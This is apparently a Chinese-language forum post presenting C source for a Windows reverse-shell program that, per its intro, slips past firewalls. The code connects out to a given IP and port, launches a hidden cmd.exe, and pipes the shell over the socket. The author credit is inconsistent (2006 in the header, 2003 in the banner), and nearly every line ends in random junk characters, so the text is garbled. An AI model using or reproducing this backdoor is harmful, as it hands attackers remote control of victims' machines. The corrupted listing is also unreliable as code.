Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 f[R~oc5P0  
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/* ============================== zkqn>  
Rebound port in Windows NT 4W49*Je  
By wind,2006/7 ~#P]NWW%.  
===============================*/ fI<d&5&g  
#include ]91QZ~
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#include ^Z\"d#A  
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#pragma comment(lib,"wsock32.lib") Zo^]y'  
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void OutputShell(); 
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SOCKET sClient; D:IG;Rsc  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; %I!2dXNFRF  
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void main(int argc,char **argv) #639N9a~  
{ dS <*DP  
WSADATA stWsaData; d+5~^\lV  
int nRet; 8HZ+r/j  
SOCKADDR_IN stSaiClient,stSaiServer; x H=15JY1W  
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if(argc != 3) YAeF*vP  
{ );
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printf("Useage:\n\rRebound DestIP DestPort\n"); .oLV\'HAR  
return; W[j,QU  
} i'>5vU0?3  
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WSAStartup(MAKEWORD(2,2),&stWsaData); [eOv fD  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dkDPze9l  
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stSaiClient.sin_family = AF_INET; L1DH9wiQi  
stSaiClient.sin_port = htons(0); 1kvs2  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #,6T.O  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Ar,n=obG  
{ 4*E5@{D  
printf("Bind Socket Failed!\n"); fn5-Tnsq*  
return; q TN)2G   
} Su?cC/  
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stSaiServer.sin_family = AF_INET; ]{\M,txo8  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); tk=S4/VWv  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); b8YdON
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3/ }  
{ Qr7v^H~E4.  
printf("Connect Error!"); XGC\6?L~  
return; vDi Opd  
} q-_!&kDK"  
OutputShell(); ^-
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} nu-&vX  
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void OutputShell() \M._x"  
{ ybJwFZ80  
char szBuff[1024]; NT5
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SECURITY_ATTRIBUTES stSecurityAttributes; t:vBVDkD  
OSVERSIONINFO stOsversionInfo; Sx e
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #qDm)zCM  
STARTUPINFO stStartupInfo; !d!u{1Y&  
char *szShell; XM` H@s7  
PROCESS_INFORMATION stProcessInformation; yzzJKucVU:  
unsigned long lBytesRead; qnj'*]ysBC  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =EA:fq  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Yb/*2iWX  
stSecurityAttributes.lpSecurityDescriptor = 0; 9`
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stSecurityAttributes.bInheritHandle = TRUE; &TA{US3~  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); :N$-SV  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); l$EN7^%w  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "opMS/a"7  
stStartupInfo.wShowWindow = SW_HIDE; u{\'/c7G  
stStartupInfo.hStdInput = hReadPipe; S5y.H  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; zhFm2  
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GetVersionEx(&stOsversionInfo); )=29Hm"  
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switch(stOsversionInfo.dwPlatformId) ^rP]B-)  
{ +s"6[\H1d  
case 1: MsP6C)dz  
szShell = "command.com"; Q!U}  
break; }$L63;/H  
default: }(ORh2Ri  
szShell = "cmd.exe"; \I523$a  
break; !%('8-x%  
} 5ct&fjmR_  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); V8TdtGB.|h  
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send(sClient,szMsg,77,0); Xw!\,"{s  
while(1) @&WHX#  
{ Jut&J]{h  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); u YT$$'
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if(lBytesRead) ` K{k0_{  
{ ';/J-l/SE  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /kkUEo+  
send(sClient,szBuff,lBytesRead,0); /YF:WKr2  
} c:9n8skE7  
else Dpw*m.f  
{ 'EAskA]*  
lBytesRead=recv(sClient,szBuff,1024,0); Kmx^\vDs  
if(lBytesRead<=0) break; g;8 wP5i  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); _J W|3q  
} 9iZio3m  
} W_Y8)KxG:L  
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return; H%>4z3n   
}